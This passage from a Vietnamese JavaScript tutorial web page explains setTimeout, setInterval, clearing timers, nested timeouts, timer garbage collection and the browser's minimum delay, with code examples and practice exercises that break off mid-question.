punctuation">;</span></code></pre></div> <p>Tuy nhiên, cách sử dụng <strong>string</strong> là không được khuyến khích, bạn có thể thay thế bằng <a href="/arrow-function-la-gi-arrow-function-trong-js/"><strong>arrow function</strong></a> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> Tham số đầu tiên là <strong>hàm</strong>, chứ <strong>không phải kết quả của việc gọi hàm</strong>, nhiều bạn hay bị nhầm lẫn như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// gọi hàm sayHi() thay vì truyền vào hàm sayHi</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi gọi hàm <code>sayHi()</code> như trên, kết quả của hàm <code>sayHi()</code> được truyền vào hàm <code>setTimeout</code>. Mà hàm <code>setTimeout</code> chỉ chấp nhận truyền vào là function. Do đó, đoạn code trên sẽ không thực hiện gì sau 1 giây.</p> <h2 id="xóa-hành-động-với-cleartimeout" style="position:relative;"><a href="#x%C3%B3a-h%C3%A0nh-%C4%91%E1%BB%99ng-v%E1%BB%9Bi-cleartimeout" aria-label="xóa hành động với cleartimeout permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xóa hành động với clearTimeout</h2> <p>Khi bạn gọi hàm <strong>setTimeout trong JavaScript</strong>, kết quả trả về là một số nguyên <code>timerId</code> - định danh cho hành động với timeout. Để hủy bỏ hành động, bạn chỉ cần gọi <code>clearTimeout</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> timerId <span class="token operator">=</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token operator">...</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">clearTimeout</span><span class="token punctuation">(</span>timerId<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ bạn dự định gọi một hàm sau khoảng thời gian delay là 1 giây. Nhưng sau đó, bạn lại hủy bỏ hành động này:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> timerId <span class="token operator">=</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"sẽ không được gọi"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>timerId<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// định danh cho timer</span> <span class="token function">clearTimeout</span><span class="token punctuation">(</span>timerId<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>timerId<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// timerId không đổi sau khi clearTimeout</span></code></pre></div> <h2 id="hàm-setinterval-trong-javascript" style="position:relative;"><a href="#h%C3%A0m-setinterval-trong-javascript" aria-label="hàm setinterval trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm setInterval trong JavaScript</h2> <p>Hàm <code>setInterval</code> có cú pháp tương tự như hàm <code>setTimeout</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> timerId <span class="token operator">=</span> <span class="token function">setInterval</span><span class="token punctuation">(</span>func<span class="token operator">|</span>code<span class="token punctuation">,</span> <span class="token punctuation">[</span>delay<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>arg1<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token punctuation">[</span>arg2<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">)</span></code></pre></div> <p>Trong đó, tất cả tham số đều có ý nghĩa giống với hàm <code>setTimeout</code>.</p> <p>Nhưng khác với hàm <code>setTimeout</code> là chỉ thực hiện hành động <strong>một lần</strong>, hàm <code>setInterval</code> sẽ gọi hàm thường xuyên sau <strong>mỗi khoảng thời gian delay</strong>.</p> <p>Để dừng hành động, bạn chỉ cần gọi hàm <code>clearInterval(timerId)</code>.</p> <p>Ví dụ sau hiển thị <code>"Hello"</code> sau mỗi 2 giây và sau đó 5 giây thì dừng lại:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// lặp lại với thời gian là 2000 ms (2 giây)</span> <span class="token keyword">let</span> timerId <span class="token operator">=</span> <span class="token function">setInterval</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sau 5 giây thì dừng lại</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">clearInterval</span><span class="token punctuation">(</span>timerId<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"stop"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">5000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="hàm-settimeout-lồng-nhau" style="position:relative;"><a href="#h%C3%A0m-settimeout-l%E1%BB%93ng-nhau" aria-label="hàm settimeout lồng nhau permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm setTimeout lồng nhau</h2> <p>Ngoài cách sử dụng <code>setInterval</code> để thực hiện một hành động lặp đi lặp lại, bạn có thể sử dụng hàm <strong>setTimeout trong JavaScript</strong> theo cách lồng nhau như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">/** thay vì: let timerId = setInterval(() => console.log('Hello'), 2000); */</span> <span class="token keyword">let</span> timerId <span class="token operator">=</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> timerId <span class="token operator">=</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>sayHi<span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (*)</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong ví dụ trên, cứ sau mỗi 2 giây thì hàm <code>sayHi</code> sẽ được gọi. Mà ở cuối hàm <code>sayHi</code> mình lại gọi tiếp <code>setTimeout</code> với hàm <code>sayHi</code> - tương tự cách gọi <a href="/ham-de-quy-trong-javascript/">hàm đệ quy</a>.</p> <p>Cách gọi hàm <code>setTimeout</code> lồng nhau như trên giúp bạn xử lý <code>delay</code> linh hoạt hơn so với cách dùng <code>setInterval</code>. Vì bạn có thể tùy chỉnh thời gian <code>delay</code> cho mỗi lần lặp.</p> <p>Giả sử bạn cần tạo request lên server sau mỗi 5 giây để cập nhật dữ liệu. Tuy nhiên, server có thể bị quá tải. Dựa vào trạng thái server hiện tại, bạn có thể tăng thời gian delay lên 10, 20, 30, giây... cho phù hợp, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> delay <span class="token operator">=</span> <span class="token number">5000</span><span class="token punctuation">;</span> <span class="token keyword">let</span> timerId <span class="token operator">=</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">request</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">/*... gửi request lên server...*/</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token comment">/* mã lỗi trả về liên quan đến server quá tải */</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// tăng delay lên hai lần</span> delay <span class="token operator">*=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// chạy lại setTimeout với giá trị delay mới</span> timerId <span class="token operator">=</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>request<span class="token punctuation">,</span> delay<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> delay<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// -> giá trị delay ban đầu là 5000 ms</span></code></pre></div> <p>► <strong>Cách sử dụng <code>setTimeout</code> lồng nhau cho phép <code>delay</code> chính xác hơn giữa mỗi lần thực hiện hành động so với cách dùng <code>setInterval</code>.</strong></p> <p>Ví dụ dùng <code>setInterval</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token function">setInterval</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">func</span><span class="token punctuation">(</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ dùng <code>setTimeout</code> lồng nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">func</span><span class="token punctuation">(</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>run<span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Hàm <code>setInterval</code> thực hiện hành động <code>func(i++)</code> sau mỗi 100ms. Tuy nhiên, hành động <code>func(i++)</code> cũng chiếm thời gian. Do đó, thời gian thực tế giữa hai lần chạy <code>func(i++)</code> là <strong>nhỏ hơn 100ms</strong>.</p> <p>Thậm chí là thời gian chạy <code>func(i++)</code> có thể nhiều hơn 100ms thì lần chạy <code>func(i++)</code> tiếp theo sẽ được gọi ngay lập tức sau lần gọi trước. Nói cách khác là <strong>không có thời gian delay</strong> giữa hai lần chạy <code>func(i++)</code>.</p> <p>Nhưng với cách sử dụng hàm <code>setTimeout</code> lồng nhau thì khác. Với cách này, hàm <code>setTimeout</code> tiếp theo chỉ được gọi khi hàm <code>func(i++)</code> thực hiện xong. Nghĩa là thời gian giữa hai lần chạy <code>func(i++)</code> sẽ <strong>đảm bảo khoảng 100ms</strong>.</p> <h2 id="vấn-đề-garbage-collection" style="position:relative;"><a href="#v%E1%BA%A5n-%C4%91%E1%BB%81-garbage-collection" aria-label="vấn đề garbage collection permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Vấn đề garbage collection</h2> <p>Như mình đã nói trong bài viết về <a href="/garbage-collection-trong-javascript/">garbage collection trong JavaScript</a>, khi một giá trị là không thể tiếp cận thì nó sẽ được giải phóng khỏi bộ nhớ.</p> <p>Đối với hàm truyền vào <code>setTimeout/setInterval</code>, JavaScript engine sẽ tạo một tham chiếu nội bộ tới hàm thực thi để đảm bảo hàm này không bị giải phóng.</p> <p>Với hàm <code>setTimeout</code>, hàm truyền vào sẽ được giữ trong bộ nhớ cho tới khi hàm được gọi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// hàm được giữ trong bộ nhớ cho tới khi thực thi xong</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token operator">...</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Với hàm <code>setInterval</code>, hàm truyền vào được giải phóng khỏi bộ nhớ sau khi gọi <code>clearInterval</code>.</p> <p>Giả sử hàm truyền vào <code>setInterval</code> tham chiếu đến biến bên ngoài. Vì hàm này luôn tồn tại cho đến khi gọi <code>clearInterval</code>, nên biến được tham chiếu đến cũng sẽ <strong>không được giải phóng</strong>.</p> <blockquote> <p>Khi không thực sự cần thiết, hãy gọi hàm <code>clearInterval</code> để giải phóng bộ nhớ.</p> </blockquote> <h2 id="hàm-settimeout-với-thời-gian-delay-bằng-0" style="position:relative;"><a href="#h%C3%A0m-settimeout-v%E1%BB%9Bi-th%E1%BB%9Di-gian-delay-b%E1%BA%B1ng-0" aria-label="hàm settimeout với thời gian delay bằng 0 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm setTimeout với thời gian delay bằng 0</h2> <p>Có một trường hợp đặc biệt với hàm <code>setTimeout</code> là thời gian <code>delay</code> bằng 0.</p> <p>Theo lý thuyết, khi <code>delay = 0</code> thì hành động được thực hiện ngay lập tức. Nhưng thực tế, hành động sẽ được thực hiện ngay khi code luồng chính thực hiện xong, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"World"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span> <span class="token comment">// World</span></code></pre></div> <p>Trong ví dụ trên, câu lệnh <code>console.log("Hello")</code> được thực hiện trước. Và ngay sau khi câu lệnh này thực hiện xong thì câu lệnh <code>console.log("World")</code> được thực hiện.</p> <p><strong>Chú ý:</strong> thời gian delay trên trình duyệt không hoàn toàn bằng <code>0</code>.</p> <p>Đối với cách gọi hàm <code>setTimeout</code> lồng nhau, sau 5 lần gọi hàm, thời gian delay sẽ được set bằng 4ms, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> start <span class="token operator">=</span> Date<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> times <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// tính toán thời gian delay so với ban đầu</span> times<span class="token punctuation">.</span><span class="token function">push</span><span class="token punctuation">(</span>Date<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">-</span> start<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// sau 100ms tính từ thời điểm bắt đầu thì sẽ in ra log và dừng lại</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>Date<span class="token punctuation">.</span><span class="token function">now</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">></span> start <span class="token operator">+</span> <span class="token number">100</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>times<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>run<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tiếp tục setTimeout</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// kết quả cuối cùng:</span> <span class="token comment">// (22) [12,14,16,18,25,30,34,38,42,46,51,55,59,63,69,74,79,83,87,92,96,101]</span></code></pre></div> <p>Xem kết quả trên, bạn thấy rằng thời gian delay giữa mỗi lần gọi trong 5 lần đầu tiên là khoảng 2ms. Nhưng sau 5 lần thì thời gian delay tăng lên là khoảng 4ms.</p> <p>Đây chính là giới hạn của hàm <code>setTimeout</code> trên trình duyệt. Và giới hạn này cũng gặp phải khi sử dụng hàm <code>setInterval</code>.</p> <p>Ở môi trường khác như phía server, giới hạn này không gặp phải vì trên Node.js có hàm <a href="https://nodejs.org/api/timers.html#timers_setimmediate_callback_args">setImmediate</a>.</p> <h2 id="tổng-kết-settimeout-trong-javascript" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt-settimeout-trong-javascript" aria-label="tổng kết settimeout trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết setTimeout trong JavaScript</h2> <p>Hàm <code>setTimeout(func, delay, ...args)</code> trong JavaScript cho phép thực hiện hàm <code>func</code> <strong>một lần</strong> sau một khoảng thời gian <code>delay</code> với các tham số truyền vào là <code>args</code>.</p> <p>Hàm <code>setInterval(func, delay, ...args)</code> cũng tương tự như hàm <code>setTimeout</code>, nhưng hàm <code>func</code> được thực hiện sau <strong>mỗi lần</strong> <code>delay</code>.</p> <p>Để hủy bỏ không gọi hàm <code>func</code> nữa, bạn có thể gọi hàm <code>clearTimeout(timerId)</code> hoặc <code>clearInterval(timerId)</code> với <code>timerId</code> là kết quả trả về sau khi gọi hàm <code>setTimeout</code> hoặc <code>setInterval</code>.</p> <p>Việc gọi hàm <code>setTimeout</code> lồng nhau giúp bạn xử lý linh hoạt giá trị <code>delay</code> hơn so với cách sử dụng <code>setInterval</code>.</p> <p>Trường hợp gọi hàm <code>setTimeout(func, 0)</code> với giá trị <code>delay = 0</code>, tương đương với <code>setTimeout(func)</code> sẽ thực hiện hàm <code>func</code> ngay sau khi luồng code chính thực hiện xong.</p> <p>Đối với trình duyệt, sau 5 lần gọi hàm <code>setTimeout(func)</code> lồng nhau hoặc với <code>setInterval(func)</code> thì thời gian delay được set khoảng <strong>4ms</strong>.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Viết hàm <code>printNumbers(start, end)</code> để in ra một số từ <code>start</code> đến <code>end</code> sau mỗi 1 giây theo hai cách:</p> <ol> <li>Sử dụng <code>setInterval</code>.</li> <li>Sử dụng <code>setTimeout</code>.</li> </ol> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>► <strong>Cách 1: sử dụng <code>setInterval</code></strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">printNumbers</span><span class="token punctuation">(</span><span class="token parameter">start<span class="token punctuation">,</span> end</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> timerId <span class="token operator">=</span> <span class="token function">setInterval</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>start <span class="token operator">></span> end<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">clearInterval</span><span class="token punctuation">(</span>timerId<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>start<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">printNumbers</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1, 2, 3, 4, 5</span></code></pre></div> <p>► <strong>Cách 2: sử dụng <code>setTimeout</code></strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">printNumbers</span><span class="token punctuation">(</span><span class="token parameter">start<span class="token punctuation">,</span> end</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>start <span class="token operator">></span> end<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>start<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>run<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">printNumbers</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1, 2, 3, 4, 5</span></code></pre></div> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Trong đoạn code sau, hàm <code>setTimeout</code> được gọi với thời gian delay là 100ms.</p> <p>Sau đó là một <a href="/vong-lap-trong-javascript/">vòng lặp <code>for</code></a> với số lần lặp khoảng 100000000 lần. Mà thời gian thực hiện vòng lặp lớn này thường hơn 100ms.</p> <p>Hỏi hàm với 